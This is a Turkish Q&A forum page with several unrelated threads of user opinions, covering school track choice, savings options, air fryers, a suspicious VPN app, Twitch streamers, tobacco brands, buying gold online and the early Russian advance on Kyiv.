15 yaşındaki bakış açısıyla mutlu olacağını düşündüğü şeyle 30 yaşında mutlu olabileceğini hiç sanmıyorum. Yönlendirme şart bence.
0
Mirket
(27.12.22)
tr şartlarında lisede seçtiğin alanın geleceğine etkisi bugün bakkaldan aldığınız sütün bozuk çıkmasının geleceğinize etkisinden bir iki tık fazla o kadar. hangi alanda daha çok not kasabilecekse orayı seçsin sınavda falan az biraz işine yarar belki.
0
Whily
(27.12.22)
ben kendimden örnek vereyim. sayısal tercih etmiştim çünkü lise 1'de en başarılı olduğum dersler sayısal derslerdi. e zaten etraf çevre hep sayısal seçersin heralde vs diye bahsedip duruyorlardı. derslerim gayet iyiydi ama fizik kimya biyoloji çalışmayı hiç sevmezdim. bunun yerine edebiyat ve matematik görece daha zevkli gelirdi. her neyse okul başladı 1-2 ay geçti artık sınavlar başlayacaktı nerdeyse ama ben acaba bölüm değiştirsem mi diye bir dert edindim erkenden ve değişim talep ettim. sonra eşit ağırlığa geçtim ve sonraki dönemde dedim ki iyi ki değiştirmişim. sayısalda olsam yine derslerim gayet iyi bir öğrenci olacaktım ama kendi farkımı ortaya koyamayabilir ve bu dersler bir zorunluluk bilinciyle yerine getirirdim. ilgi duyduğum için değil. hatta benimle birlikte eşit ağırlığa geçmek isteyip sonra tereddütte kalıp değişiklik yapmayan bir arkadaşım ünivesitede gitti hukuk okudu :) kaderin cilvesi.

bu bir öğrencinin kendisini tanıması ile ilgili bir durum. kararı kendisi vermeli. en çok başarılı olduğu derslerden ziyade en çok sevdiği ve ilgi alanı olan derslerin ağırlıklı olduğu alana yönelmeli. istenilen notlar bir şekilde alınır her dersten önemli olan o alandan haz alabilmek ve ilgi duymak, potansiyelini açığa çıkarabilmek bence.
0
debian
(27.12.22)
Not ortalaması hangisinden yüksek olacaksa onu seçsin. Sayısaldan 70 ortalamayla mezun olanla dilden 70 ortalama yapanın okul puanı aynı oluyor. Sonra fikir değiştirirse de özel ders vs telafi eder geri kalanlari.
0
encokbenisevinnolur
(27.12.22)
dil seçmesini önermiyorum. lisede dil okudum ve ekstra bir katkısı olduğunu söyleyemem, hatta bence zararı oldu. dil derslerine ağırlık verip sınavda nasılsa diğerleri sizin için çok önemli olmayacak diye diğer dersleri unutturdular resmen bize.
sayısal okumasını öneririm eğer ilgisi varsa. ilgisi yoksa da biraz zorlamanızı öneririm, keşke beni de zorlasalardı istemediğim halde sayısal okumaya diyorum hala.
diğer dersleri tek başına çalışarak öğrenmesi dilleri öğrenmesine kıyasla daha zor. dillerde kendini geliştirmeyi öğretmen olmadan da yapabilir ki zaten yine de olacak.
liseden sonra üniversitede de mütercim tercümanlık okudum. okuduğum bölüme 4 sene harcamış olmama mı, diploması olmayan ve ucuza çalışmaya ok olan herkesin dandik de olsa çeviri yapabilmesine mi, senelerce milletin dil bilmeden olmaz diye abartmasına mı yanayım bilmiyorum. tabii ki gerekli ama daha iyi para kazanabileceği işler var ve maalesef alanı dil değil.
açıkça ve kısaca dil seçmek pişmanlıktır, ne önü açık ne başka bir şey. sayısalcı olsun.
0
Olric
(27.12.22)
editleyemiyorum mobildeyim;

kariyer ve para odaklı bir seçim olarak değerlendirilmemeli bu. çünkü bunlar apayrı bir hayat becerisi. bence bu bakış açısı doğru değil. sonuçta bir çok üniversite mezunu bile kendi alanında çalışmıyor. hayatın ne getireceği hangi kapıları açacağı üniversitede bir kaç bölüm dışında (tıp-hukuk-eczacılık) oldukça değişken. herkes her işte çalışabiliyor neredeyse.

para örneğinden gidecek olursak iyi liselerde iyi üniversitelerde okumuş arkadaş çevremizde kariyeri en iyi ve kazancı bize fersah fersah katlayan adam ticaret lisesi terkti. biz üniversite okurken o satış danışmanlığı yapıyordu. ailesinden kalan bir arsayı sattı ki o zaman 400 bin lira değerinde bir sermaye ile (istanbul'da 1-2 ev alınırdı o fiyata en fazla o da beylikdüzünden) kendi işini kurdu sonra gitti açıktan lise ve üni okudu. şimdi milyon dolarlık bir şirketi var. işte hayat böyle bir şey.
0
debian
(27.12.22)
Küstah gözükebilir cevabım biraz ancak 15 yaşındaki kız çocuğu için bence en mantıklı alan; neyi seviyorsa sevsin ona inandığınız, onun peşinden gitmesine engel olmadığınız, onu manipüle etmediğiniz ve onun hevesini asla kırmadığınız, bununla birlikte kendisinden desteğinizi asla esirgemeyeceğiniz alandır. Hangisi olursa olsun.
0
vedatchilipeppers
(27.12.22)
alani neyse o +1 ozellikle sanatsal yonu varsa degerlendirebilir. dil okudum asiri pismanim okumadan da ogrenilir hatta okuyarak ogrenilmez diye artiriyorum. yetengi dilse yazmasin ahsjsj tek basina dil yetenegi duye bir sey yok ya sozele ya sayisala da yatkinligi vardir onlari secmesi daha avantajli. dil isteyen kursa gitsin veya yurtdisi
0
ala09
(27.12.22)
vedatchilipeppers+1
0
jimjim
(27.12.22)
15 yaşında kız çocuğu neye ilgi duyuyorsa kendi seçmeli diyenleri şaşırarak okuyorum.

Tam da kavak yellerinin estiği yaşlardan bahsediyoruz.

Ege Ü. Tıp'ı bırakıp Lise aşkının peşinden Urfa'ya gidip öylesine bir bölüm okuyan arkadaşım var benim.

İlin komiği kız, daha birinci sınıfta kaslı bir oğlan için terketmişti bizimkini.
0
Mirket
(28.12.22)
Maddi imkanlariniz ne? Eger benim imkanlarim iyi calisma da ben onun konforunu saglarim diyorsaniz dil secsin. Kuzenim dereceyle istanbul universitesi mut. tercumanliga girdi. Dereceyle mezun oldu. Simdi issiz. Ara sira ceviri gelecek de uc bes kazanacak. Herkes sibel alas degil got cevirsin para kazansin. Simdiki aklim olsa dil secmezdim diyor.

İlk secenek degilsen her turlu sayisal. Zaten artik alan disi puan dusme vb kalmadi. Her dersi gordugu icin ister muhendis olur ister saglik sektorune yonelir isterse esit agirliktan birsey olur.
0
kuzey li
(28.12.22)
Yani becerebildiği alan her zaman en iyisidir. Matematik beceremeyen insanı sayılsalcı yapıp işkence etmemeli. Tersi de geçerli. Dil konusu için şunu diyebilirim. Şu ülkeden kaçıp yurtdışına yerleşmek birçok kişi için en mantıklı seçim artık. Zaten garsonluk, pompacılık yapıyoruz buradan gidince oralarda, bari o kadar meslek öğrenip edip de o eğitimle amelelik etmekten iyidir.
0
d max
(28.12.22)
(5)

En makul yatırım?

osuran imam
Aylık üç beş bir şey biriktirmeye çalışıyoruz. Şu an döviz mi, kkm mi, altın mı, hangisine odaklanmak lazım? Bir de bu kkm denen olayda aylık olarak hesaba para eklenebiliyor mu?
Aylık üç beş bir şey biriktirmeye çalışıyoruz. Şu an döviz mi, kkm mi, altın mı, hangisine odaklanmak lazım? Bir de bu kkm denen olayda aylık olarak hesaba para eklenebiliyor mu?
0
osuran imam
(18.12.22)
Paranizin degerini korumak icin altin. Yatirim daha farkli bi olay
0
sekerler diyarinda bir ruya
(18.12.22)
Altın ve gümüş iyidir.
0
halitkin
(18.12.22)
KKM minimum 92 gün vadeli açılabiliyor. Aylık olarak para eklemesi yapılamıyor.
0
pispinti
(18.12.22)
son iki yıldır falan hakla arzlar çılgın atıyor. faizler böyle gittiği sürece de devam edecek gibi. ben bir miktar onları kovalıyorum birkaç tavandan sonra çıkıyorum. ne öldürür ne güldürür tabi küçük yatırımcıyı ama fena değil bence.
0
Whily
(18.12.22)
döviz epeydir sabit, ben bir patlama bekliyorum artık normal gelmiyor doların 8 aydır paralel gitmesi.
0
roket adam
(18.12.22)
(5)

Xiaomi mi 3.5L airfreyer boyutu yeterli midir?

siyah giyen adam
https://www.hepsiburada.com/xiaomi-mi-smart-airfryer-3-5-l-fritoz-pm-HBC00000PVC2VBundan aldık fakat 4 kişilik bir aile adına sizce yeterli midir kullananlar varsa? Gerektiğinde 2 kere çalıştırmak pişirmek çok mu zahmetli oluyor?
www.hepsiburada.com

Bundan aldık fakat 4 kişilik bir aile adına sizce yeterli midir kullananlar varsa? Gerektiğinde 2 kere çalıştırmak pişirmek çok mu zahmetli oluyor?
0
siyah giyen adam
(18.12.22)
Bizde de bundan var, 2 kişi için ideal, 4 kişi için yetersiz gelebilir. tekrar çalıştırmak zahmetli değil fakat ilk parti yemek soğuyacağı için büyük olanı alırdım ben olsam.
0
orient blue
(18.12.22)
4 kisi icin cok net yetersiz. Onun yerine philips xxl alsaniz?
0
mor oje
(18.12.22)
@mor oje, bu ürün 3k iken Philips’in xxl’i 9-10k civarıymış keşke daha uyguna olsaydı ama bu fiyat farkını karşılayabilme durumu yok maalesef. İşin kötüsü 1-2 aya daha da zamlanacaklar enflasyon sağolsun :|
0
🌸siyah giyen adam
(18.12.22)
amazonda satılan bir tane vardı yurtdışı ürünü telegramda indirim gruplarına katılıp kovalayın tam f/p ürün 7lt mi ne. alan herkers çok memnundu ben yakalayamadım bir türlü.
0
Whily
(18.12.22)
@siyah siz de haklisiniz valla, fark cok fazlaymis :( 2 kez pisirmek, ustelik et+sebze cesitlemesi yapmak falan zor olur bunu alirsaniz.
@whily’nin dedigi cosori galiba. Ona bi bakabilirsiniz. Bi de alanlarin memnun oldugu kumtel var ama hacmini hic bilmiyorum.
0
mor oje
(18.12.22)
(5)

VPN tüm bilgilerimi almış olabilr mi?

kırmızıayakkabılıgargamel
Arkadaşlar App Store’da karşıma çıkan ilk VPN App’ini indirdim. Tüm bilgileri paylaş gibi bir seçenek var mıydı emin değildim ama 3-4 saat çalıştı bu VPN arkada. Bu sırada İnstagram’da gezindim bir süre. Şimdi bu VPN yorumlarında bol bol insanların Netflix şifrelerinin çalınmış olduğunu gördüm, bir
Arkadaşlar App Store’da karşıma çıkan ilk VPN App’ini indirdim. Tüm bilgileri paylaş gibi bir seçenek var mıydı emin değildim ama 3-4 saat çalıştı bu VPN arkada. Bu sırada İnstagram’da gezindim bir süre.

Şimdi bu VPN yorumlarında bol bol insanların Netflix şifrelerinin çalınmış olduğunu gördüm, bir kaç tane de instagram, facebook çalındığı yorumu var.

Banka hesabıma girmemiştim ama girip şifreleri değiştirdim, mailimin şifresini değiştirdim. Fakat şu an erişim probleminden insta ve Facebook’a giremiyorum. Ne olacak? Şifrem alınmışsa? Çok korkuyorum.
0
kırmızıayakkabılıgargamel
(14.11.22)
Endise etmeyin o kadar kolay değil. İnsanlar o bilgileri yanlışlıkla kendi elleriyle veriyorlar genelde. Siz yine de şifrelerinizi değiştirebilirsiniz tedbiri elden bırakmamak adına.
0
melancholia
(14.11.22)
uzun süreli trafik bilgilerin toplam 10 dolar etmeyen netflix, spotify vs hesaplarından daha kıymetli.
0
Whily
(14.11.22)
@whily nedenini araştıracağım bir kaç anahtar kelimeye ihtiyacım var?
0
🌸kırmızıayakkabılıgargamel
(14.11.22)
Mirket
(14.11.22)
mümkün.

adını sanını bilmediğin applikasyon olarak indirdiğin vpn olsun olmasın arka planda çalışarak bilgilerini çalabilir. public ve bedava vpn'ler ile herhangi bir hesabınıza giriş yapmayın.
0
false pretension
(14.11.22)
(3)

küçük twitch yayıncıları

fatihkkk
selamlar,her akşam 2-3 saat boyunca düzenli 50 kişiye yayın yapan kişiler var. genelde oyun oynuyorlar. bu insanlar bunu neden yapıyor ki? günde 50 kişiye yayın yaparak para kazanıyorlar mı? çok takipçim olsun diye de ekstra kasmıyorlar. her gün 50 kişiyle ufak bi komünite olarak devam ediyorlar yay
selamlar,

her akşam 2-3 saat boyunca düzenli 50 kişiye yayın yapan kişiler var. genelde oyun oynuyorlar.

bu insanlar bunu neden yapıyor ki? günde 50 kişiye yayın yaparak para kazanıyorlar mı? çok takipçim olsun diye de ekstra kasmıyorlar. her gün 50 kişiyle ufak bi komünite olarak devam ediyorlar yayınlarına.

mersi.
0
fatihkkk
(09.11.22)
Paradan ziyade az kişi ile çevre ediniyorlar arkadaş kazanıyorlar.
Fikir alıyorlar oyunda ne yapsam , bilgisayar sistemini ne yapsam tarzında.
0
kararsızataletfilozofu
(09.11.22)
kimseyi itham altında bırakmak istemiyorum ama twitch'te kara para aklama olayını böyle yayıncılarla yapmıyorlar mıydı, konuyu bilenler aydınlatırsa güzel olur.
0
Hallegadola
(09.11.22)
kimse bir gecede binlerce izleyiciye ulaşmıyor. her yayıncının da öyle bir hedefi yok ama bir yerden başlamak gerekiyor.
ufak ama aktif ve belki de biraz niş bir kitle ile de para kazanmak mümkün. en azından aaa olmasa da birçok oyunu ücretsiz elde edip oynama şansın oluyor.
komünite mühim. bu da onu oluşturmanın yollarından biri illa para kazanıyor kazanmıyor diye bakmaya gerek yok.
bit olaylarının tamamı partner yayıncılar üzerinden döndü. ortalama 50 izlenen birinin çok farklı bir olayı yoksa partner olma şansı yok. ondan önce de prime ile yapıyorlardı hatta bu bit için laf söyleyen "büyük" yayıncıların tamamı prime işine bulaşmıştı ama dikkat çekmedi.
0
Whily
(09.11.22)
(3)

Birinin tweetlerini otomatik alıntılama mümkün mü?

neyyirnevcivan
Bu kişi attığı tüm tweetleri 2 saat içinde siliyor. Bunun için bu kişinin tweetlerini otomatik alıntılamam mümkün mü? Bir uygulama, yöntem vs.
Bu kişi attığı tüm tweetleri 2 saat içinde siliyor. Bunun için bu kişinin tweetlerini otomatik alıntılamam mümkün mü? Bir uygulama, yöntem vs.
0
neyyirnevcivan
(14.08.22)
ifttt ile olur.

Bu mail atıyor: ifttt.com
Bu da excel dosyasına yazıyor: ifttt.com
0
10032007
(14.08.22)
teşekkürler bilgilendirme için. Peki bunun twitter'da paylaşmam mümkün mü?
0
🌸neyyirnevcivan
(15.08.22)
alıntılasanız da sildikten sonra ne anlamı olacak ki? silinmesin kalsın twitter üzerinden en kolay tweetstamp ile yapılır sanırım.
0
Whily
(15.08.22)
(6)

Turkiye'de "boomer" kusagi hakkinda bir soru

feranbr
"Boomer" kusagi 2.Dunya savasi sonrasi donemdeki nufus artisina ve o donemde dogan jenerasyona yonelik kullaniliyor bildigim kadariyla. Turkiye'nin savasa katilamamasi ve savas sonrasi benzer bir nufus patlamasi yasamamis olmasi nedeniyle, bu kusagin Turkiye'de ne kadar karsiligi olabilir? Yani Bati
"Boomer" kusagi 2.Dunya savasi sonrasi donemdeki nufus artisina ve o donemde dogan jenerasyona yonelik kullaniliyor bildigim kadariyla.

Turkiye'nin savasa katilamamasi ve savas sonrasi benzer bir nufus patlamasi yasamamis olmasi nedeniyle, bu kusagin Turkiye'de ne kadar karsiligi olabilir? Yani Bati'da ortaya cikan bir jenerasyon kavramini Turkiye'de benzer yillarda dogan insanlara sadece dogum yillari nedeniyle kullanmak ne kadar isabetli acaba? Dusunceleriniz nelerdir.
0
feranbr
(30.06.22)
Ben de tam dediğini söylemeye geldim, türkiyedeki boomer denilen kesim aslında yurtdışındakiyle aynı kullanılmıyor burdan da senin dediğine geliyor her kavramın her yerde karşılığı yok

Bu kuşak konusu da bence çokça pazarlama araştırmalarının çıktısı, sırf aynı yılda doğdular diye örneğin urfada doğan çocukla istanbul şişlide doğan çocuk aynı kuşakta nasıl oluyor
0
freebird5406_2
(30.06.22)
@freebird Elbette aynı değil ama genellersek kuşaklar arası ortak özellikler fazla. Ülkenin siyasal ekonomik şartları etkiliyor
0
ceketimi alip cikcam
(30.06.22)
Bunun yanında genel olarak kullanım şekli şu şekilde fakat;

Bu nesil bugünkü nesle oranla çok daha az çalışma ve emek harcamaya karşılık bir şeylere daha kolay sahip olmuşlardır, emeklilikleri de iyi kötü günümüz koşullarında iyidir, türkiyede de karşılığı bu yönden vardır bence, savaş bizde olmasa da nüfus patlaması yaşanmamış diyemeyiz, o dönemlerde bilinçsiz kitle arsa arazi kapatıp gece kondu yapmış, bilinçli kitle okuyup meslek sahibi olanlar bambaşka konumlara gelmiş, sosyal güvenlik sisteminin her güzelliğinden yararlanmışlar,
günümüz nesilleri ise çok çok çalışsalar da 3x asgari ücret görüyor maksimum, bu ücretle yapabildikleri çok sınırlı, vergi yükleri muazzam, sosyal güvenlik sistemini yaşatmak için muazzam bir yük altındalar, ve bugün emeklileri ve sağlık sistemine para sağlarken kendileri yaşlanınca bugünkü en düşük emekli maaşı alan emeklinin rahatına kavuşabilecekleri bile meçhul.

Bu yüzden TR için boomer kuşağı kullanılmasında sakınca görmüyorum,
0
atom karincanin torunu
(30.06.22)
Turkiye savasa direk girmese de, 1940-45 arasi nufus artis hizi cok dusmus, 45 sonrasinda da patlama yapmistir. TUIK istatistiklerine bakabilirsiniz.

Belki savasta insan kaybetmedik ama hem cok genis kitleler 5+ yil askere alindi hem de cok aclik cekildi.

Boomer nesli karakteristik olarak bizde de dunyaya benzerdir.
0
cleric
(30.06.22)
Whily
(12.07.22)
Türkiye'nin yerli ve milli boomer kuşağı 1927-1945 arası dönem bence. 18 senede nüfus artışı neredeyse %30. Ki bu resmi rakam. Kırsalda ne kadar etkili sayım yapıldığı meçhul.
0
yürümeyin
(12.07.22)
(3)

reeder beni dava edebilir. mi?

aeroknight
ekşi sözlüğe açtığım başlıktan dolayı beni dava etse bile benim bir sürü kanıtım var zaten. kendimi avukatsız savunabilir miyim?
ekşi sözlüğe açtığım başlıktan dolayı beni dava etse bile benim bir sürü kanıtım var zaten. kendimi avukatsız savunabilir miyim?
0
aeroknight
(15.06.22)
mevzu ne bilmiyorum da avukatsız savunabilirsin kendini. ancak avukatla savunmanı öneririm
0
paintov
(15.06.22)
ağa dava etmesine ederler yani bunun önünde bir engel yok.
ama memlekette dolandırıcıya dolandırıcı demek suç kesinleşmiş mahkeme kararı olmadığı sürece.
0 hukuk bilgimle mahkemeye de taşınsa bir halt çıkmaz gibi seni üzecek çok sinkaflı şeyler yazmadıysan silinen entryi göremiyorum. bakın bu alet böyle böyle ne ayaksınız olm falan tarzındaysa mahkemeye gidip geldiğinle kalırsın anca o zararın olur.
0
Whily
(15.06.22)
Kaybedeceği bir dava açmış olur. ama siz siz olun avukatsız savunmayın kendinizi. elinizde kanıt olması yeterli olmaz.
0
false pretension
(15.06.22)
(5)

tütün tavsiyesi

nasil olacak bazi seyler
selamlar,malum zamlara dayanacak gücüm kalmadığı için tütüne geçme kararı aldım. kent drange gray içicisiyim. önerebileceğiniz tütün var mıdır?
selamlar,
malum zamlara dayanacak gücüm kalmadığı için tütüne geçme kararı aldım. kent drange gray içicisiyim. önerebileceğiniz tütün var mıdır?
0
nasil olacak bazi seyler
(28.05.22)
sigara içimine en yakın ve iyi marlboro roll, ağır bu derseniz bi tık alt kalitede camel olabilir. denediklerimin içinde en iyileri bunlar geldi bana göre.
0
sinematikcrop
(28.05.22)
Şok markette camel marka tütün satılıyor 100 gr halinde. Bir dene istersen
0
limonlu eksi
(28.05.22)
nst 02 yellow içmiştim, bir de instark marka tütün içmiştim. dediğin sigarayı bilmiyorum ama herhangi bir tütüncüde sorarak almak mümkün.

şurada bir karşılaştırma var.

eksisozluk.com
0
chezidek
(28.05.22)
10 yıldır sarma sigara içiyorum. tekel diye geçenler içinde bulunabilirliği de dikkat ederek en iyileri marlboro roll, nst 02 ve camel. ama camel biraz daha zor bulunur diğerlerine göre.
makaron olarak da president beyaz. diğerlerinden düz a4 tadı gelir.
yok kağıda saracağım dersen gizehin orta olanı kırmızıydı sanırım.
calbor, toros falan leş onlara hiç bulaşma. git gazete kağıdına çay sar iç daha iyi.
0
Whily
(28.05.22)
teşekkürler arkadaşlar tavsiyeler için. şok'tan camel alıp deneyeceğim başlangıç olarak. nst 02 touch blue iyi diye duydum bulabilirsem 2.sıraya onu koyacağım.
0
🌸nasil olacak bazi seyler
(29.05.22)
(8)

Kredi kartıyla internetten altın almak

rewlack
İşçiliksiz bilezik veya gram, tam altın meselaYatırım amaçlı soruyorum. Hatta tl hesaplı kurtlarımızla taksit yapabileceiğimizi bile düşünürsek. 1.Neden mantıksız? 2.Neden mantıklı?
İşçiliksiz bilezik veya gram, tam altın mesela
Yatırım amaçlı soruyorum. Hatta tl hesaplı kurtlarımızla taksit yapabileceiğimizi bile düşünürsek.

1.Neden mantıksız?
2.Neden mantıklı?
0
rewlack
(26.05.22)
mantıklı çünkü enflasyondan iyi kötü koruyor uzun vadede. cds 800 e dayanacak fiziki candır böyle dönemlerde.
0
ehti
(27.05.22)
Mantiksiz kismi, kuyumcuda grami 950 iken kredi kartiyla 980e aliyorsun. Olasi bir 40 50tl'lik artista karin olmuyor.

1 yil 2 yil dokunmam, baska da alma sansim yok diyorsan mantikli.
0
brkylmz
(27.05.22)
@burak, Kuyumcu taksit yapmıyor ama?
0
🌸rewlack
(27.05.22)
valla hocam bi arkadaş yıllardır trendyoldan para oldukça çeyrek aldı. çeyreklerin hepsi sahteymiş. bu olaya da dikkat et.
0
al sana nick it
(27.05.22)
ben puanlarla altungold dan alıp havale yapıyorum. kayıp çok fazla olmuyor.
bu işin pirleri donanımhaber forumlarında en uygun nerede o nerede kampanya vs var o konuyu bul takip et derim.
0
Whily
(27.05.22)
Ben sahte olur diye kuyumcuya bile güvenmezken, internetten asla almam. Ki bakın yukarıda bir arkadaş sahte alınan altından bahsetmiş.

Yanlış anlaşılmasın, kuyumcu bana sahte satar demiyorum, kuyumcunun bile anlayamadığı sahte altın dolu piyasada. Kuyumcu bile sahte olduğunu anlamadan alıp da bize satabilir.

Google araması yapın, sahte altın satılan bir sürü mağdur kuyumcu var. Yani sahte altını kuyumcuya satmışlar, o da anlamamış test ettiği halde, o kadar kaliteli sahteler var.
0
John Bloor
(27.05.22)
Arkadaşlar internetten satış yapan bildiğimiz normal kuyumcular var. Elbette işin sahtekarları da vardır ama fişiyle faturasıyla satan yerlerden bahsediyorum.
0
🌸rewlack
(27.05.22)
Sahte riskini azaltabiliyorsanız gayet mantıklı. Tl borçalanıp ne alırsanız alın mantıklı olacaktır zaten.

Yukarıdaki yorumlara ek; yıllarca internetten altın alacaksanız sonsuz güvenmemeniz lazım zaten, bir zahmet arada bir kontrol ettirin.
Ayrıca kuyumcuların kendi bile anlamıyorsa zaten sorun nedir? El değiştiren bir emtia değil mi bu? Son olarak kuyumcular -veya taksitle altın satmayan kuyumcular diyelim- ekstradan böyle karalama söylemlerinde de bulunabilir.
0
jimjim
(27.05.22)
(13)

Rusya Kiev'i alamadi hikayesi

stavro
Bunun gerceklik payı nedir sizce? Ben acikcasi hikaye ifadesini ozellikle kulkandim cunku bana propoganda gibi geliyor. Savasta propoganda da gayet dogal. Zaten savasin basindan beri bati tarafından yogun bir Ukrayna propogandasi gozlemliyirum.Kiev'in henuz icine girilmis değil. Sehir merkezinde tek
Bunun gerceklik payı nedir sizce? Ben acikcasi hikaye ifadesini ozellikle kulkandim cunku bana propoganda gibi geliyor. Savasta propoganda da gayet dogal. Zaten savasin basindan beri bati tarafından yogun bir Ukrayna propogandasi gozlemliyirum.

Kiev'in henuz icine girilmis değil. Sehir merkezinde tek bir Rus askeri yok. Merkezde hiçbir catisma yasanmisligi da yok. Şehir merkezine girilmis değil ve girmeye tesebbus edilmis ve geri puskurtulmus falan da degil. Savasin 6. Gununde rus askeri kiev'in 20-30km disinda bekliyor baktigin zaman.

Rusya ne planliyor tam olarak bilemeyiz ama bekledigi ortada. Yani bu adamlar sehir merkezinin 20km dışında beklerken Kiev'i dusuremediler, Kiev direndi, Ruslar Kiev'i alamadi gibi ifadeler sacma geliyor bana. Baktigin zaman Kiev'i alamadilar diye bir durum yok gozukuyor, almaya teşebbüs etmediler. Muhtemelen harkov icin de durum boyle.

Simdi ben bir şey mi kaciriyorum, Kiev'i alamadilar gibi soylemelrr ne kadar doğru? Bu adamlar Kiev'e bayağı fiilen girdi de geri puskurtuldu bizim haberimiz mi yok? 64km konvoy bekleme halinde su an. Muhtemelen istediğini hiçbir şekilde alamayıp baska care kalmadığında anca o zaman gercek anlamda Kiev'i ele gecirme yoluna gidecekler fiilen. Bu son secenek gibi.
0
stavro
(01.03.22)
sosyal medyada kısa bir tarama yapılırsa rusya'nın bazı zaaflarını görmek mümkün olur. kendi sınırlarının 40 - 50 km ötesindeki birliklerine lojistik destek sağlayamadıkları, propagandadan ziyade somut bir gerçek gibi görünüyor. mazotunu bitirip yolda kalan zırhlı araçlar, esir düşenler, yanmış rus asker cesetleri görüntüleri işlerin rusya için pek iyi gitmediğini gösteriyor.

operasyon süresi uzadıkça rusya'nın işi daha da zorlaşır, birliklerde disiplin kaybolur, savaş suçlarına varan eylemlere rastlamaya başlarız.
0
zgrydn
(01.03.22)
Yıllardır podcast'ini dinlediğim bi Rus var. Severim, aklı başında bi eleman.

Rusya savaştan sonra Ukrayna'da kendine sadık bir rejim kurmak istediği için, şu an sivillere karşı aşırı dikkatli davranıyor, çok tepki çekecek büyük bombalamalar vs. yapmıyor diyor.

Ama Ukrayna'da herkese silah dağıtıldı, kim sivil kim asker belli değil. Arabayla gezen ergen kız molotof atıyor falan. Dolayısıyla bu tutum Rus askerleri arasında huzursuzluğa neden oluyormuş, dikkatli olucaz diye kendimizi riske atıyoruz diyorlarmış.

Bu "yavaşlığın" sebebi buymuş. Gerçi bana sorarsan ortada bi yavaşlık yok, ABD - Irak savaşı bile 40 gün sürmüştü.

Doğru mudur bilemem, ama mantıklı bi teori gibi.
0
plutongezegendegilmi
(02.03.22)
internetteki içerik savaşını kazanmakla sahadaki savaşı kazanmak çok farklı bir şey.
2 yıl önce de hong kong olayları sırasında ya da gezi'de yaşananlardan çok bir farkı yok. internette kazananlarla gerçekte kazananlar çok farklı.
kaldı ki putin'in hiçbir zaman kiev'i alıp kukla bir iktidar ve onları koruyacak silahlı güç vs bırakma planı olduğunu sanmıyorum.
doğu güneydoğu hattına bakarsanız istediğini zaten almış gibi koridoru kurmasına çok az bir şey kaldı. bu sırada da karşı tarafta alt yapı bırakmadı koca bir ülkede travma yarattı vs.
bütün bir ülkeyi almak istediğini düşünseniz bile pc oyununda bile iki turn de bi halt yapamıyorsun ukrayna gibi koca bir ülkeyi nasıl komple ilhak etsin 3 günde?
0
Whily
(02.03.22)
Burada derinlemesine anlatılmış.

eksisozluk.com
0
İnatçılığın yeryüzündeki temsilcisi
(02.03.22)
ben hikaye olduğunu düşünüyorum.
rusça ve ingilizce bildiğim için her iki tarafın da kaynaklarına bakabiliyorum. ukrayna ve batı medyası baştan aşağı propaganda. kullanılan yaralı, ölü, patlama görüntülerinin çok çok büyük bir kısmı dünyanın dört bir yanından kotarılmış görüntüler.

aynı şekilde rus medyasında da çok büyük propaganda dönüyor. her iki tarafı da biraz tartınca neyin doğru neyin yanlış olduğunu anlıyorsun.

kiev'in alınamadığı olayı hikaye. 65 km uzunluğunda tank konvoyu var. şehre daha taarruz yapılmamış, hava desteği henüz tam anlamıyla verilmemiş. çoğunluğu milliyetçi sivillerden oluşan halk nasıl kurtaracak şehri allaşkına bunlar karşısında? öyle bir şey olsaydı bu konuda çok daha profesyonel olan filistinliler şimdiye dek israil'i 10 defa geri almıştı.

bence putin olayları çok daha fazla kızıştırmadan müzakereye zorlamaya çalıştı. çünkü, eğer kiev'e girerse zelenski ölür veya tutsak edilir, tüm ukrayna düşmüş olur. ki bu da işlerin diplomatik olarak da içinden çıkılmaz bir hal alması demek (ki aldı ve bence putin bugün yarın kiev'e girecek). ayrıca, taarruz demek önüne geleni öldürmek demek, bu da her iki taraf için büyük kayıplar demek. şehirde hala daha milyonlarca sivil var. bunların ölmesi demek. altyapının yok olması demek.

putin'in amacı ülkeyi kırıp geçirmek değil, kendine bağlı bir yönetim oluşturmak. bu yüzden ilerisini de düşünüp olayı masada bitirmeye çalıştı şimdiye dek. putin bu yüzden biraz şiddet, biraz müzakere yolunu arayacak gibi. bizim cumhurbaşkanığı da açıklama yaptı "müzakereler büyük ihtimalle ertelenecek, olaylar tırmanacak" diye. belli ki bu yönde bir istihbarat var. ancak buna rağmen belarustaki müzakere masasının dağılmaması yine de müzakere yolunun açık olduğunu gösteriyor. konuşmalar savaşta kimin önde olduğuna göre şekillenecektir büyük ihtimal. zelenski düştüğünde putin'in şartları kabul edilir.
0
lesmiserables
(02.03.22)
putin istese ukrayna'nin tamamini birkac gun icerisinde isgal eder. adamlar suriye cehenneminde yuzbinlerce isidli elkaideci teroristle sokak savasi yaptilar yillarca. benim okudugum kadariyla putin ordusunu tutuyor gibi. ilk basta putin'in islak hayallerinden dolayi bu isgal gerceklesti diye dusunuyordum, ama zamanla fikrim, putin'i buna zorladilara dogru evrildi. bugun bir video'da geciyordu. obama'nin doneminde putin-obama gorusmesi oluyor. putin, "bu nato bu kadar iyi bir seyse biz de girelim" gibi bir sey diyor. tabi rusya'nin dost olmasindan ziyade dusman olmasi daha iyi bati icin. Rusya, Kirim'i ilhak etti diye Ukrayna Kirim'a giden suyu kesmis bir baraj vasitasiyla. Bu sekilde kirim'daki tarim alaninin %80'ni ekilemez hale gelmis. Sanki Rusya'yi kasitli olarak kasiyorlar gibi. Eger Kirim ilhaki olmasaydi, Ukrayna'nin Nato'ya girmesiyle Kirim'da abd askeri ussu gorecektik muhtemelen. Bu da Karadeniz'in kaybedilmesi demek Rusya icin. Rusya ve Bati Karsilikli olarak ellerini zorluyorlar. Rusya icin Ukrayna'nin topragi asil mesele degil gibi Nato'nun diplerine kadar sokulmasini istemiyorlar.
0
ubi dubium ibi libertas
(02.03.22)
yav rusya tabii ki kievi alir mesele o degil zaten. mesele istedigi sartlarda alabilir mi? belki alabilirdi... ama alamadi. yani alsa yine alir ama istedigi sartlarda alamadi bitti o mesele. bati tepkisini ve ukraynanin direncini iyi hesaplayamadi, propaganda makinesini modernlestiremedi ve geride kaldi.

putin acik bir sekilde ekonomisinin turkiye gibi olmasindan korkuyordu, daha beter oldu. simdi hem ukraynaya bir kukla yerlestirip hem de yaptirimlari kaldirmasinin kolay bir yolu yok. batirdi yani. amaci gostermelik isgal ve kukla yerlestirmekti, 2 gunde yaparim oldu bittiye gelir kimse de bir sey demez diyordu, kazin ayagi oyle olmadi. aralarini catlatmak icin senelerini harcadigi bati blogundaki butun kazanimlarini geri verdi.
0
robokot
(02.03.22)
